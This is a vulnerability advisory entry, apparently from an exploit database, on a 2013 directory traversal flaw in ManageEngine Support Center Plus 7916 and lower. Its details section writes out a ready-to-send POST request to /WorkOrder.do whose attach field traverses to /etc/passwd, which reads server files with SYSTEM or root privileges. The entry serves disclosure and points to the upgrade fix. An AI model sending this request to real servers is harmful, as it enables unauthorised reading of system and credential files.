Directory Traversal in ManageEngine Support Center Plus 7916 and lower

vendor:

Support Center Plus

by:

xistence

7,5

CVSS

HIGH

Directory Traversal

CWE

Product Name: Support Center Plus

Affected Version From: 7916 and lower

Affected Version To: 7916 and lower

Patch Exists: YES

Related CWE: N/A

CPE: a:manageengine:support_center_plus

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows, Linux, Mac

2013

Directory Traversal in ManageEngine Support Center Plus 7916 and lower

Support Center Plus 7916 and lower is prone to a directory traversal vulnerability. When creating a ticket and attaching a file, this can be tampered to link to a local file on the server side. By downloading the attachment from the ticket, the server file is downloaded with the same privileges as the Support Center Plus instance, which on windows is SYSTEM. On linux Support Center Plus is mostly installed as the root user.

Mitigation:

Upgrade to a build higher than 7916.

Source

Exploit-DB raw data:

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Author:
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xistence < xistence[at]0x90[.]nl >

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Affected products:
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ManageEngine Support Center Plus 7916 and lower

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Affected vendors:
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ManageEngine
http://www.manageengine.com/

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Product description:
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SupportCenter Plus is a web-based customer support software that lets
organizations effectively manage customer tickets,
their account & contact information, the service contracts and in the
process providing a superior customer experience.

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Details:
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[ 0x01 - Directory Traversal ]

Support Center Plus 7916 and lower is prone to a directory traversal
vulnerability. When creating a ticket and attaching
a file, this can be tampered to link to a local file on the server side.
By downloading the attachment from the ticket, the server file is
downloaded with the same privileges as the
Support Center Plus instance, which on windows is SYSTEM. On linux Support
Center Plus is mostly installed as the root user.

POST parameters when submitting a ticket to the /WorkOrder.do url and
attaching the server /etc/passwd:

category=&MOD_IND=WorkOrder&attachments=passwd&subCategory=0&addWO=addWO&title=pwned&attPath=
&component=Request&reqTemplate=&reqName=Guest&priority=2&item=0&reqID=2&attSize=31337&autoCCList=
&FORMNAME=WorkOrderForm&usertypename=Requester
&attach=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&prodId=0&description=pwned


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Solution:
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Upgrade to a build higher than 7916.

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Timeline:
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Fixed somewhere back in 2013 :)